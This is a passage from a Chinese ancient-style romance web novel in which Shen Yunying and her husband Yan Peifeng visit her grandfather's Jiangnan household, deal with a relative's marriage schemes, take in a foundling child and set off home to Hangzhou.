燕培风面上忧愁,低声道:“外祖父让我去江南书院讲学。我久不做学问,又没准备。” “你觉得为难?”沈云楹跟着担心,“外祖父慈爱宽和,要是有顾虑,你直言推拒就是了。” “不然明日我帮你提?” 考虑到燕培风可能不好意思,沈云楹挺身而出,说一句话的事嘛。 燕培风脸上还没聚起的忧愁顿时散去,沈云楹要去找蒋宜,这几日蒋宜该真的为难他了。 “不用,长辈所托,怎么能推辞?”燕培风流露出斗志,义正严词地表态,“再说,外祖父告诉我不少金陵的消息,助我不少。” 沈云楹疑惑地看一眼燕培风,反正不是大事,她就不纠结燕培风味为什么变来变去的,出言宽慰道:“夫君你是状元,足以指点书院的学子啦。外祖父请你帮忙,哪儿会挑刺?” “而且我娘归宁的事,多亏有你。你在蒋家,已经是未见其人,先闻其好了。” 根本不用担心被蒋宜苛责。 “夫人说得有理,我便安心备讲。”燕培风做松口气状,抬头间看到博古架有纸叠的船只,一看就是刚摆上去的,和博古架格格不入,“怎么突然折纸船了?” 说到这个,沈云楹就来了精神,啪一声合上话本,起身取下纸船,笑道:“白天琬儿妹妹拿了一艘自行船来玩,真的神奇,那艘船竟然能在水面上游动。” “就是可惜,走不远,只能走一盏茶的时间。那么小一艘船,发出的声响却不小,听着怪怪的。海外的东西真稀奇。不像我们的木船,小船动静小。” “我们照着自行船折叠的,有几个地方对不上,我给手动画上去了。” 沈云楹推过一艘纸船到燕培风面前,指给燕培风看。 “琬儿说是高棋表兄从海商手上买的,等下一次那位海商回来,应该还有多的。高棋表兄让他多带些回来,他都能买下。” 沈云楹期待道:“就是不知道下次是什么时候。可能是五月,可能是明年了。” 海上不确定因素太多,回归时间说不准。 燕培风神色变淡,一双凤眸幽深地盯着喋喋不休的沈云楹,嘴上附和:“海商靠岸,归我管。我帮你留意。” 燕培风伸手拉着沈云楹坐到身边,暗道表兄果然要防! 沈云楹一听,惊喜道:“那感情好,到时候给高棋表兄送个信。” 燕培风口不对心,“行。” —— 翌日,蒋宜和燕培风做客江南书院。按照蒋宜的传话,上午和学院大儒交流,下午讲学,一整日都不会回来了。 蒋家要办寿宴,两位舅母带着蒋玥忙活,蒋文笙则领着沈云楹、蒋琬酿桑葚酒。 桑葚酒滋阴明目,养颜健脾,味道醇厚甜润。花甲之年后,蒋宜便有饮桑葚酒的喜好。 眼下正是桑葚的时节,蒋文笙便想酿制十八坛孝顺老父亲。她守寡的日子里,酿酒的手艺也练出来了。 桑葚果子由小果粒聚成一串,用力一碰就可能破皮,所以沈云楹带着人小心翼翼清洗干净。 接着用淡盐水浸泡一会儿,晾干,一层又一层堆叠进坛子,再放入黄糖,倒入清泉酒。 最后放入酒窖中,等上半个月,桑椹果酒便成了。 不怎么费功夫,要紧处在桑葚和清泉酒的质量。她们用的都是上等质量,沈云楹都开始期待开坛那日了。 另一边,蒋家女眷们忙忙碌碌到四月初四。 蒋二夫人心疼女儿,“玥儿,瞧你都瘦了一圈,四月宜上山踏春,明儿你和云楹、琬儿去山上散散,不要埋头家事了。” 蒋玥见所有事情都料理顺当,剩下些琐碎的事情,大伯母和母亲无需多费神,她点头答应,“好,正好两位妹妹说想去放纸鸢,我也去凑凑热闹。” 蒋二夫人欢喜给孩子们准备纸鸢、吃食和衣物,还有跟去伺候的人。 沈云楹本来只想和蒋琬轻轻松松的放一会儿纸鸢,没想到出门时阵仗还挺大。前头有蒋高棋开道,后面跟着一排丫鬟嬷嬷。 但是这丝毫不影响沈云楹的好心情! 四月的风一阵又一阵,就像人的脚步一下又一下,不疾不徐,稳稳地把纸鸢托上天。 两只燕子和一只小白兔,争先恐后地往云里钻。 “再高一点!”蒋琬高兴得跳起来,头上的两只小揪揪一晃一晃,系在上面的红绳迎风飘扬,整个小人儿跑到两个姐姐身边,脸蛋红扑扑的,眼神明亮。 蒋玥用帕子给她擦汗,温柔叮嘱:“别动,不擦干,等会儿吹了风当心着凉。” 沈云楹边放长绳子,边接话:“要是生病,以后二舅母就不敢让你出门啦。” “姐姐快擦!”蒋琬还仰起头,乐得一众人都笑开。 山间绿树,裙裾翩跹,好一副春游图。 蒋高棋坐在树荫下,远远地看着三位妹妹,银铃笑声传过来,他也跟着扬起唇角。 “玥姐姐,琬儿,准备好了吗?”沈云楹拿着剪子,两钳放在绳子边上,随时能剪断。 “好了,好了!”蒋琬兴奋回道,第一次玩放飞纸鸢,她的小白兔纸鸢由奶娘牵着,小手紧紧握着剪刀。 刚刚蒋琬问起放生小白兔纸鸢的缘故,蒋玥温柔回道:“剪断它,放飞今后一年的病气和晦气,祈求平安吉祥。琬儿,记住没有?” 蒋琬嗯嗯点头,双丫髻跟着摆动。 沈云楹笑道:“学到了是吗?” 三个人整齐一剪,两只燕子和白兔子随风飘动。沈云楹的那只燕子没飘多远就飞速落地,而另两个纸鸢跌跌撞撞还在树梢边上飘着。 沈云楹不愿相信地眨眼,“难道吹得不是同一阵风?” 蒋玥安慰:“早落地,早除晦。” 沈云楹摆手道:“没事,我们还有老鹰呢,老鹰大,肯定飞得更好。” “对!”蒋琬听说还能继续放纸鸢,乐哒哒得绕着两个姐姐转悠。今儿太高兴啦。 沈云楹吩咐下人去取新纸鸢,树下忽然出现两道熟悉的身影,燕培风和文茹霞缓缓走到蒋高棋对面。 沈云楹不由眯起眼睛,朝前走去瞧清楚些,燕培风怎么会和文茹霞凑到一起? 燕培风敏锐察觉到视线,当即迈步走向沈云楹。今日沈云楹一身藕荷色春衫,红珊瑚翡翠钗莹润夺目。 燕培风在江南书院讲学的时候,就偏向文人的衣着做派,一身竹青流云纹的斜襟儒袍,衬得他愈发温润如玉,谦和端方。 然而,燕培风开口却是:“你陪蒋高棋放纸鸢,不叫我?” 沈云楹惊得后退两步,环顾左右没人,“夫君,你戏过了!” 她又凑近小声道:“这么多人呢。你胡说八道也没用,大家的眼神是雪亮的。” 燕培风神色一顿,直勾勾地盯着她。 沈云楹笑道:“你又是药膳,又是书画的,其实蒋家已经出效果了。你别用力过猛。” 燕培风难得被人堵得说不出话,他吸口气,拎起一只燕子纸鸢,“我帮你把纸鸢捡回来了。” 沈云楹张了张嘴,还是轻声问:“你看到是三只纸鸢一起飞掉的吗?” “是三个,这个是你的,”话没说完,燕培风已经意识到不对,“你们在放病晦之气?” 他低头看看自己昏头捡回来的纸鸢,心下无奈。他何时做事如此冲动了。 沈云楹赶紧道:“没事,还有老鹰呢,燕子小,把它放到老鹰背上,再放一次。” “飞得起来?”燕培风怕重。 沈云楹点点头,“可以的。这些纸鸢都是高棋表兄亲手做的,又轻又坚固。” 说着,接过红叶手上的老鹰纸鸢递给燕培风看。 燕培风的视线从那段白净的手腕移开,幽幽道:“原来如此。我今天在书院听见一件趣闻。” “蒋高恒被外祖父撵去京城,就是怕他带歪蒋高棋。两个不务正业的人凑到一起,外祖父都管教不过来。” 燕培风继续道:“昨日蒋高恒来信拜寿,外祖父都不让他回家。” 沈云楹震惊:“啊?居然是这样?” 真相竟然是两个表兄太闹腾,外祖父不堪其扰? 燕培风淡定以及肯定点头,“没错。” 沈云楹不禁回头去看坐在不远处树下的蒋高棋,燕培风循着她的视线看去。 正巧文茹霞和蒋高棋齐齐走上来。 “高棋公子,我家人从没陪我放过风筝。你能教教我吗?”文茹霞双眸如水,饱含羡慕,又期盼地看向蒋高棋。 蒋高棋想到文家的惨,不忍拒绝,但又觉得男女授受不亲,不好教。于是想了一个法子,指着五大三粗的下人,“还是嬷嬷来教文姑娘。她们是放纸鸢的好手,我并不怎么擅长。” 蒋高棋认真又坦诚。 文茹霞心里一哽,真是只呆头鹅!她只能跟着蒋高棋过去。看着沈云楹和燕培风恩爱和睦的模样,文茹霞心中冷哼。 两方一寒暄,蒋玥和蒋琬也凑过来,得知文茹霞想学放纸鸢,蒋玥积极指派一个嬷嬷去教她。 第83章 盯人 文姨娘仔仔细细绣一幅喜鹊踏枝双面绣, 她没有儿女,在蒋家后院的日子不好不坏,毕竟蒋家的规矩摆在那儿, 吃喝不愁。 蒋宜年纪渐大,她才四十出头, 娘家又已败落, 这阵子想多在蒋宜身上下功夫, 换些日后的保障。不拘是铺面和银子,只要拿到手里就成。 蒋家的两个儿子和媳妇都不是那等贪心的人。文姨娘觉得自己能守住些许浮财。 可是下一刻, 想到文茹霞,文姨娘不由叹口气。她只是一个大门不出二门不迈的姨娘,实在寻不出什么好夫家。蒋家倒是不错,但蒋家男子皆要考取功名, 不会想要一个拖后腿的妻子。 正想着,院门外响起一阵匆匆的脚步声,文茹霞耷拉着眉眼快步进屋, 身后伺候的丫鬟一样苦着脸。 文姨娘关心道:“不是去山上放纸鸢吗?怎么不开心?” 文茹霞叹口气,坐到文姨娘身边, 瞧着这幅绣面马上就能收尾,刚刚只是侧脸, 也能看到文姨娘微弯的嘴角。 “您独坐绣两针都能自得其乐。我不是您。”文茹霞心中苦闷,声音中带出几分不满。 文姨娘笑了笑没反驳,她心知文茹霞的不易,放软声音道:“今儿听二夫人说,高棋公子要科举做官,不会再放纵他沉迷外物。这样一来,你的筹谋怕是不成了。” 如果蒋高棋不做官, 只做个教书先生或富家翁,那文茹霞还能争取一番。蒋宜不讲究门第,或许文茹霞能做正妻。 文茹霞摇摇头,她看看在蒋家养尊处优,却没有话语权的姑祖母,想求她帮忙的话又咽了下去。文姨娘求着蒋家收留自己,给流放的家人寄钱寄衣物,已经尽力。 文姨娘知道侄孙女的性子,没多劝。她想要的自己给不了,只能尽量帮一帮。 抱着这样的心思,文姨娘招呼文茹霞用点心,“等老太爷寿宴那日,上门贺寿的年轻公子不少,我同大夫人和二夫人说了,让你去她们身边待着。” 言下之意,文姨娘托了两位夫人带文茹霞交际,暗含相看的意思。 文茹霞一愣,安静半晌,才道:“姑祖母,谢谢您。” 文茹霞的思绪逐渐飘远,蒋家三位未婚公子,蒋高鑫高攀不起,蒋高恒常年不见人影,唯有蒋高棋,每月都能见上一面。 在蒋家一年多,文茹霞记得母亲临别时的嘱咐,可是蒋高棋看似好接近,内里又是一头呆鹅。 辗转一夜,文茹霞睡不着,天还没亮就带上古筝出门。 她这边一动,消息就传到沈云楹处。 哪怕不用去衙门点卯,燕培风依然保持惯有的作息,早早就起身打过一套拳脚,接着去书房忙碌。 沈云楹还在梦中会周公。 银筝一得到文茹霞出门,立即进去里间,几乎不用想就喊醒沈云楹,“夫人,快醒醒。文茹霞出门去了。” 沈云楹脑子还懵懂,呢喃道:“燕培风出门了?”翻个身还在想,燕培风出去便出去,不耽误她睡觉。 银筝急得握拳,忙拉住沈云楹的被子,“夫人,您吩咐盯着文茹霞的啊。今儿一大早,太阳都没爬上山头,她就出门啦,指定有事!” 想起昨天沈云楹安排她们去留意文姨娘的院子,盯着文茹霞。银筝直觉事情不简单,非常上心,她亲自出马,一个晚上就花了二十两银子。 银筝的话冲进混沌的脑子,沈云楹一下直起身,“大清早的,她去哪儿?” 银筝摇摇头,这她也不知道啊。 “奴婢只知道她带着古筝出去的。” 沈云楹心下奇怪,难道她要去弹曲子? “罢了,快些梳洗。我们去瞧瞧。”沈云楹麻利下床换衣,连早膳都没用,跟上文茹霞的脚步。 文茹霞去的地方不远,蒋高恒幼时的游记就写到这里,还给取了一个“花名”,叫飞花溅玉。 一道小瀑布从悬石倾泻而下,氤氲水汽中,一股清新之气洗涤全身,仿佛洗脱凡尘俗扰。耳边再有清欢之音,便是上佳的享受。 沈云楹眼前浮现蒋高恒的字句,清幽古筝之声传来,沈云楹驻足不前,一水之隔,望着沉浸其中的文茹霞。 文茹霞若有所觉,一抬眸就看到娇艳如花的沈云楹,她分明通身没做多华贵的装扮,就是给人一种雍容又从容的气度。 偏偏文茹霞最恼恨的就是沈云楹这幅做派。 音随心,紧绷的手指勾不动琴弦,好好的曲子戛然而止。文茹霞五指张开,按在琴面上,轻哼一声,“燕夫人,不问而来便是恶客。” 沈云楹饶有兴致地看一眼文茹霞,她和前两次见面不同了。现在这般尖锐、直接,才是她的真面目吧? 沈云楹反问:“文姑娘方才弹的是勾践之曲?” 越王勾践,卧薪尝胆,一举复国。 想想文茹霞的身世,沈云楹便猜出她的心思。 这一刻,沈云楹对这个单薄清瘦的女子观感复杂,不由自主生出两分同情。 不慎暴露出心思,文茹霞满目冰冷,屡屡受挫的苦一下子压不下去,呛声道:“你高高在上,如何知道我的处境?” 沈云楹心中一叹,“你既想的明白,就不该盯着高棋表兄。二舅母就这么一个儿子,一定会走科举这条路。以你的身份,蒋家长辈不会同意。” 若只是平民女子,都有机会。 沈云楹想起蒋家默认的家规,三十无子方可纳妾。她两位舅舅身边都没有姨娘。 沈云楹得知这条家规,就追问过文姨娘怎么进府。蒋文笙只模糊的说,是蒋宜受人算计,文姨娘也是被牵连的无辜女子,最终蒋宜还是把她纳进后院。 “你还要依靠蒋家。”沈云楹见文茹霞气红双颊,又提醒一句。不管文茹霞想做什么,蒋家好,她才能好。 在沈云楹看来,文茹霞不如找一个志在山野的人,她犯官之女的身份才没有妨碍。 至于为家人伸冤,可文家人的确受贿。官场办事收钱,人人皆有。但摆上台面定了罪,就是你技不如人,得认栽。 沈云楹听蒋文笙说过,文家是牵连进一桩御史贪污案,文家罪名不大。这桩案子不是冤案,蒋家仔细思量,最后只同意收留文茹霞和关照文家一二。就这样,也比文家的正经姻亲好多了。 或者重振文家,那更机会渺茫。 沈云楹没说出口,她相信文茹霞和文姨娘一定想到这些,只是早做出抉择。 “我不仅要靠蒋家,还要蒋家帮扶文家。” 许感受到沈云楹的态度,文茹霞第一次对人袒露自己内心最深处的欲望。 沈云楹懂了,不是姻亲,没有利益,谁会帮你。但是文茹霞要怎么说服蒋家帮忙? 文茹霞粲然一笑,“我的孩子一定会聪颖过人,步步高升,为外家脱离罪名。” 朝廷不禁庶子科举做官,可犯官之后就不可能。虽有祸不及出嫁女的俗语,但是科举拜师、官场升迁,有这么一位母亲,官位四品就到头了。 “世事无两全。你做妻子,儿子的前途有限。做妾室,后半辈子就要受制于人。何必为没有影子的孩子委屈自己呢?” 沈云楹不理解。 文茹霞瞄准蒋高棋,就为了做妾。 蒋家儿郎的教养的确好,又有江南书院在,蒋宜的人脉和政治资源,都是文茹霞看中的一环吧。 文茹霞轻笑一声,没有说话。 沈云楹摇摇头,蜜糖和砒霜,端看个人。沈云楹选择尊重她人命运。 但是,沈云楹凝眉道:“高棋表兄今年刚二十。”深深看一眼文茹霞,当中警告的意思不言而喻。 二舅母和蒋高棋对沈云楹很好,对蒋文笙十分照顾,沈云楹不想他们出事。 文茹霞低下头,她没有任何回应,因为她自己也没想清楚。 从飞花溅玉离开,沈云楹心情有些低落。回到清碧苑,燕培风又被蒋宜请去江南书院,银屏端着一壶清泉酒进屋。 沈云楹想起昨天说好要试试青梅煮酒,“银屏,去多要一坛,今儿适合青梅煮酒。” 银屏笑道:“夫人要与谁论英雄?” 沈云楹跟着笑,“见了一个人,不知道算不算女英雄。” 银屏侧头与银筝对视一眼,得了文茹霞的无声口型,心里一紧,转移话题道:“老爷出门前还问起夫人,今日起得早,早膳却不见人。” 沈云楹正想要不要去和蒋文笙说一说文茹霞的事,回神答道:“起得早就要和他一起用膳吗?” 语气有些烦躁,银屏和银筝都低头不答。见状,沈云楹心头发闷。 门外突然来了一个丫鬟找银筝。 沈云楹摆手让人出去,小火炉的清泉酒还没加热,银筝又回来禀报:“夫人,刚得到消息,寿宴上蒋家两位夫人会带上文姑娘。方才金绣坊的绣娘去文姨娘的院子了。” 沈云楹一怔,温声道:“不用盯着她了。” 银筝惊讶的点头,心想沈云楹的态度转变好快。她想不通原因,等晚上问问银屏。 沈云楹轻轻摇动清泉酒,水流缓缓旋转,她觉得自己不太对劲。 她太关注文茹霞了。 昨日看到文茹霞和燕培风一起上山,沈云楹心里有点不舒服。今日大早上的不睡觉,跑去听文茹霞弹琴,实在不像她的行事。 想想愈发丰神俊朗的燕培风,沈云楹深吸口气,她不能被美色迷了眼! 第84章 木娃 沈云楹想寻个事做, 免得空耗精神还记挂着燕培风,可巧银屏进门道:“夫人,杭州送来了鲜藕粉。” 想到蒋文笙喜欢, 沈云楹就带着杭州送来的一干东西去她的院子。 更巧的是,沈云楹刚过拐角就看到文茹霞和丫鬟远去的背影。看样子, 是从蒋文笙这里出去的。 “娘, 文姑娘来作甚?”沈云楹张口就问, 拿出一坛子藕粉摆到桌上。 蒋文笙抬头,“你们碰见了?” “也没什么大事, 文姨娘做了糕点,她挨个院子送呢。再等会儿就到你的清碧苑了。” 沈云楹坐下道:“没撞上,看到她们主仆的背影。”留心蒋文笙的神色,见她秀眉微蹙, 沈云楹担心文茹霞居心不良,小声道:“若是您不喜欢,就别见了, 离得远远的。” 在娘家小住,最好不要掺和娘家侄子的婚配。 蒋文笙狐疑地盯着沈云楹, 自己的女儿自己清楚。上次提到文茹霞的事,沈云楹应该不会和文茹霞多相处, 这次竟说离得远远的这般带情绪的话。只可能是两人发生不愉快的事。 沈云楹不敌蒋文笙直勾勾的眼神,率先服软,将飞花溅玉的对话完整复述一遍。 谁知,蒋文笙不解的眼神更大了,上上下下审视沈云楹,“你天一亮就去跟踪人?” 这还是自己赖床的闺女吗? 沈云楹一噎,眼前再次浮现燕培风笑着爬山的模样, 她一个摇头打散画面,虚心解释,“昨晚歇得早嘛。” 沈云楹忙转过话头,“娘,要不要去告诉二舅母一声?” 蒋文笙唇角微扬,眼眸流转间带着傲气,“你觉得二舅母不知道?文茹霞都在蒋家待了这么久,去年寿辰、中秋、除夕,你二舅母都有回来,还能不知道文茹霞的意图?” “别忘了,后院还有蒋玥管着呢。”蒋玥的治家手段不是摆设。 蒋文笙认为,二嫂心里有数,私下难道不会教导蒋高棋? 等沈云楹赞同点头,蒋文笙却又犹豫,“蒋家几代人都没庶子。蒋高棋应该不会这么没脑子?我回头找二嫂闲话两句。” 蒋文笙还是决定去提醒一句。沈云楹放心之于又有些可惜。 文茹霞精心准备、娇娇柔柔地站在蒋高棋面前,难道蒋高棋喜欢这种类型的女子?沈云楹开始发散念头。 “有娘出马,这事儿我就放心了。”沈云楹乐得环住蒋文笙肩膀,小声跟蒋文笙说出自己对蒋高棋的猜测,惹得蒋文笙笑骂不准揶揄兄长。 又等过一日,沈云楹听说两位舅母带着人去城外施粥,为蒋宜祈福。因着是儿媳妇的孝顺,沈云楹母女就没跟着去。 掌灯时分,沈云楹等着燕培风回来用晚膳。今日蒋宜终于大手一挥,不再捉燕培风去江南书院讲学,明日起燕培风就能好好休息。 这顿晚膳,是沈云楹特意为燕培风庆祝用的。 沈云楹盯着其中一道黄芪鸽子汤,给燕培风补足气血。 春风轻轻吹动珍珠帘子,燕培风迈步从容进屋,沈云楹不是会干等着的人,她就靠着引枕看游记。 “夫人,我回来了。” 燕培风的嗓音低沉醇厚,宛如涓涓细流略过心头,舒舒服服,又有些发痒。 明明听过好几次,怎么还觉得今日格外悦耳。 沈云楹搁下书起身,“就等你用膳呢。你要的湖刀鱼今儿有新的,大厨房专门做了一道改良菜。” 燕培风微微颔首,留人道:“先看一样东西。” 沈云楹挑眉,配合问:“看什么?” 两人朝门外一看,思齐将一个长形木匣子递给银屏,一人笑得见牙不见眼,一人稳重严肃。 燕培风一声命令,银屏就抱着大木匣子放到侧厅。 沈云楹水润的杏眸看向燕培风,见他点头,就亲手打开木匣子有什么玄机。 这匣子够长,但不高,沈云楹心里闪过几种猜测,但觉得都不对。 前后几朝的木雕山水摆件,都是巴掌大,便于清供和赏玩。可是燕培风的这件不是,他雕工细致写实,长约一吃二寸,高低错落有致,整个自然风光参考沈云楹的游记藏书,将好风景融到一处。 山石瀑布,绿树繁花,游船粉荷,皆栩栩如生,湖边游廊下还有两个小人儿同游,正是沈云楹和燕培风的模样。 一下子就狠狠抓住沈云楹的目光。 沈云楹又惊又喜,明明觉得这山水雕件是送给自己的,但一开口却是:“是外祖父的寿礼?” 燕培风怔住,难得露出错愕的神色,一双凤眸直愣愣盯住沈云楹,仿佛写着三个字,你傻了? 沈云楹的视线在两个小人儿流连,男子一身宝蓝色圆领长袍,丹凤眼,高鼻薄唇,气度高华。女子身材略丰腴,圆脸杏眼,身穿牡丹红宝相花襦裙,娇俏艳丽。 燕培风伸手握住沈云楹的柔夷,指着一处桃林,声音轻柔缱绻,“这是宫中桃林,”又指着水道两边街道和船只,“这是山水集写的的淮河画舫。” 沈云楹面颊微微发红,忽然发现手中的触觉不对,她反手去摸,燕培风的手上零零散散十几处小伤口。她心头一紧,压着嗓子问:“你亲手雕刻的?” 燕培风只不在意道:“多年不动手,有些生疏而已。些微小伤口,都无需上药,没两日就好全了。” 蒋高棋为你做纸鸢,放了就没了。你喜欢游记,时时看着这架山水摆件,时时惦记着你丈夫。 本想用山水雕刻摆件抵了自行船,现在不够用。燕培风打算去信京城,问问皇上舅舅有没有类似自行船之类的物件,讨两件回来。 沈云楹细细摩挲过那些伤处,伤情是真的小,起了皮,没流血,只是数量多,看得人心惊。 抬眸时撞上燕培风灼热的目光,烫得沈云楹心砰砰发慌,她想恢复从前的相处模式了。燕培风不忙公务,将心思放到后院的时候,她有些遭不住? 沈云楹蹭的抽出手,轻咳两声,镇定道:“还是好多注意,用一瓶雪莲膏,细滑润肤极好。” —— 蒋宜的寿宴办得喜庆又温馨,等到初十,众人开始定下回程日子。 沈云楹在蒋家过得舒服,又舍不得蒋文笙,她考虑要不要多住几天,叫燕培风自己回去杭州。 这时,门外传来哒哒哒的跑步声。 沈云楹会心一笑,“听脚步就知道是琬儿,银筝,去那些茶果点心来,加些蜂蜜。” 银筝诶一声出去,蒋琬兴冲冲地跑到沈云楹跟前,双眼含着泪水,祈求道:“表姐!能不能带木娃去你家?” 沈云楹满头雾水,先用帕子帮她擦眼泪,拉着她坐下,柔声问:“你慢慢说,木娃是谁?” 蒋琬感受到沈云楹的态度,忍着不哭了,“木娃是我带回家的弟弟。” 细问之下,沈云楹才知道,四月初一开始,蒋家为蒋宜祈福施粥,蒋琬跟着二舅母去凑热闹,碰上一伙小乞儿被大乞丐欺负。 蒋琬正义出言制止,二舅母心善,她们救下那一伙孩子。等大夫诊过脉,又里里外外梳洗过一遍,分配到外院当小厮丫鬟,其中有一个叫木娃的三四岁男孩儿,生得好又懂几个字,就分去后院给蒋琬玩伴。 蒋琬舍不得木娃这个玩伴,可是二舅母不愿意带人走。一来嫌弃木娃年纪小,二来不到两年,蒋琬就满七岁,不需要小厮陪玩。不如就留在蒋家,也有一口饭吃。 可是蒋琬不同意,“我要是走了,还有人欺负木娃他们怎么办?” 沈云楹温声劝解,“他们七个孩子是一起来的,待在一处也有照应。要是单独带一个走,木娃会不会更害怕?” “云楹表姐,”蒋琬嘟着嘴,闷闷道:“我娘不喜欢我和木娃玩儿,玥姐姐说因为他们是乞儿出来的,是外人,比不得蒋家家生子。” “但是木娃弟弟真的很乖,很听话,他记字背书也快。他吃的不多。” 蒋琬低声细数木娃的好处,企图说服沈云楹。 “我有月例银子,都给姐姐,你能不能把他们都带走?” 刚还说一个,现在变成七个了? 沈云楹看着她期盼渴求的眼神,心头一软,想着一个孩子和七个孩子都一样,到时候都送去学堂。学不了字就去庄子种地,学得进去就去铺子当值。 沈云楹就点头应下,“人我可以带去杭州,你的月例还是就留着买糖葫芦吃吧,表姐养得起。” 蒋琬欢喜地蹦起来,抱住沈云楹胳膊,“谢谢表姐!木娃就在外头,姐姐要不要见见?” 沈云楹弹弹她的小揪揪,笑着吩咐银屏:“叫木娃进来我瞧瞧。” 木娃一进来,沈云楹就眼前一亮,这孩子生得不错,一双凤眸与燕培风还有几分相似。 他穿着灰扑扑的衣裳,显得眼眸格外有神。 “你就是木娃?”沈云楹声音温柔,笑着问他,“琬儿说你刚开蒙?” 木娃有些紧张,绷着小身体,应是。 可能是当乞丐流浪过,稚童的眼神有些复杂? 像是好奇高兴,又带着戒备和期待,一双小凤眸酝酿着好几种情绪。 沈云楹放缓语气,柔声道:“是个好孩子,你今后就跟着我们去杭州吧。” 看他像是读书人家的孩子,沈云楹给他准话:“你不用干活,先去学堂接着读书。” 才三四岁的样子,能干什么活儿?不如去读书。 木娃抿着唇,弯腰道:“谢夫人。” 他低下头,不想让人看到自己欲言又止的神态。 沈云楹点点头就吩咐银屏去办这事。 一走出清碧苑的门,木娃便脆生生地问:“姐姐,府里的老爷夫人叫什么名儿啊?” 银屏赶紧制止,“老爷夫人的名讳岂是咱们能说出口的。你只记住,老爷姓燕,现任杭州知府。” 木娃还不到办事的年龄,沈云楹嘱咐去读书。卖身契没签,也没教规矩,暂且不用透露太多。只是,木娃的身份不上不下的,改送去哪儿开蒙呢? 她想的深,没留意木娃眼眸迸发的一瞬亮光。 第85章 回程 晚上蒋文笙回来, 沈云楹才知道蒋琬“托孤”的事在蒋家传开,大舅母和蒋文笙都拿那件事打趣。蒋文笙笑道:“琬儿闹了你半下午,行李都收拾好没有?” “不过几个孩子, 带回去养着,年纪最大的七岁, 没几年就能当值了。”沈云楹真不在意, “就当安琬儿妹妹的心。” “二嫂嫌弃她们来历不明不肯带去余溪, 过于小心了。”余溪是蒋家二舅舅的任职地,蒋文笙觉得二舅母对蒋琬过于严厉, 孩子合眼缘,留在府里做个伴是好事。 转头看看身侧的闺女,沈云楹如今独掌一府家事,她便不指手画脚了。 沈云楹望着笑吟吟的母亲, 冒出昨夜蒋玥表姐过来说的话。蒋宜寿宴那日,有位何老夫人打探蒋文笙有没有再嫁的打算,话语中透露出想为她儿子何柏臻说亲。 何柏臻是二甲进士, 年前辞官到江南书院任教。如今三十五,膝下有一儿一女, 年纪都不大,一个十岁, 一个七岁。 沈云楹认真打量蒋文笙,肌肤白皙润滑,因着没有琐事烦心,与大舅母、二舅母站到一处看起来不像一辈人。 “这么瞧着我作甚?”蒋文笙往后一靠,笑问女儿。 沈云楹轻咳两声,凑近小声道:“娘,昨夜表姐来探我的口风。想知道您还想嫁人不?” 蒋文笙笑容一顿, 横了沈云楹一眼,什么都没说,但意思明了。 她对现在的生活很满意,再嫁的利弊早早就跟父亲蒋宜和女儿掰开说得清清楚楚。以前蒋文笙宁愿受着太师府沈家人的无视也不嫁,现在日子更好过了,沈老太师和老夫人看在燕培风的面子上,对她宽厚礼遇。 这个年纪再嫁,先不说要不要生儿育女,夫家八成是上有公婆,下有继子继女。 蒋文笙自认脑子没毛病,怎会自讨苦吃? “表姐说,何老夫人是头一个。”言下之意,后面还有。沈云楹笑得眉眼弯弯。 蒋文笙轻哼一声,“你还调侃起你娘了?” 沈云楹笑过了,正色道:“娘,不管你做什么决定,女儿都与你一心。” 蒋文笙深感欣慰,但不妨碍她反过来调侃闺女,“我的事不会有变。倒是你,怎么整个凤鸣山都有你与燕培风感情甚笃的消息?”说着,她眯起眼睛,脑子里回想女儿女婿的相处情景,疑惑道:“难道你们日久生情了?” 沈云楹深吸一口气,连蒋文笙都没看穿?看来她与燕培风配合得不错嘛。 事先答应燕培风不会透露出去,沈云楹便敷衍地点点头,没甚底气地道:“是吧。” 蒋文笙有些疑惑,但她看来看去,没瞧出什么不对。 “你长大了,”蒋文笙感叹一声,很快收起心情,“到了杭州,好好照顾自己,饮食休息都要仔细。” 她还让人摆出给沈云楹收拾的东西。衣料首饰吃食和话本应有尽有,全是蒋文笙为沈云楹搜罗的。 晚上,燕培风遣思齐来传话,两日后回杭州。沈云楹送走两位舅母和蒋琬,蒋琬临别前又特意吩咐一通和木娃有关的话。沈云楹耐心地应了,等蒋琬一走,她大松一口气,转身回清碧苑。 半路上忽然被文茹霞叫住。 文茹霞今日一身碧青色的衣裳,较之以往多两分清雅,她开口却带着讽意,“我以为你会告状。” 她都做好为冲动付出代价的心理准备了。 沈云楹挑眉,二舅母什么动作都没有,是放任?还是把文茹霞当做一个坎,让蒋高棋自己迈过去? 沈云楹不客气道:“我已经告状了。” 文茹霞露出一个轻轻的笑,她想嫁入蒋家,这不算什么秘密,或者说蒋家有点心眼的都知道。她表现的无知柔弱,将来蒋高棋的正妻就越轻视她。 这一刻,文茹霞忽然有种自己手段还稚嫩,蒋家夫人只是没点出她做妾表象下的盘算。不过下一瞬,文茹霞就有生出勇气,她不惧。 沈云楹心下叹息,脸上也带出两分。 “我会做到。”文茹霞面容坚毅,双眸坚定。 沈云楹正欲绕过她离开,忽听到文茹霞轻声吐出一句,“你有个好丈夫。” 话音像风吹过耳畔,等沈云楹回头,文茹霞已经转身昂起头大步离开。沈云楹垂眸沉吟,还是没开口,只是心间的小石子忽然就随风飘落。 文茹霞扭头得非常快,就是不想让人看到她眼中的羡慕。 那日上山,文茹霞一时兴起与燕培风搭两句话,想看看江南书院人人称道的状元郎是个什么模样,蒋家表姑娘的丈夫是个什么样。 可是燕培风面上温润,实则眼风都没给她一下,眼睛里全是站在前面的沈云楹。 她不会在沈云楹面前示弱。 —— 一日时间须臾而过,燕培风与蒋宜在前院一待就是大半日,回来时候心情还不错。沈云楹则专心陪伴蒋文笙。 回程这日,天朗气清,燕家马车排成一队在凤鸣山下。 蒋高棋骑在马上,还要再送,马车车帘被掀开一角,露出俊美无俦的面庞,燕培风笑着道:“表兄已送下山,接下来便不劳烦表兄了。” 沈云楹跟着道:“高棋表兄回去吧,外祖父和母亲正等着你呢。” 健硕的白马鸣叫一声,蒋高棋勒住马绳,笑道:“表妹,表妹夫,一路平安。” 燕培风这位表妹夫,有点小心眼。蒋高棋看一眼弃马登车的燕培风,换个角度想,看重沈云楹也是一件好事。他目送燕家车队逐渐远去,才转身上山。 马车走过半个时辰,从喧闹集市到山林官道,沈云楹还是按捺不住,侧头问道:“你不去与左师爷汇合?” 燕培风凤眸一敛,语带寒气,“漕运主事勾连甚多,近日十分谨慎。左文景处处碰壁,只能另寻机会。” 原本以为漕运严阵以待是为应对他的巡查,现在觉得有些违和。整个金陵透露出外松内紧的氛围。 燕培风动用暗哨,只查到海上有水匪出没,具体是谁遇到水匪,结果如何,全都不知道。 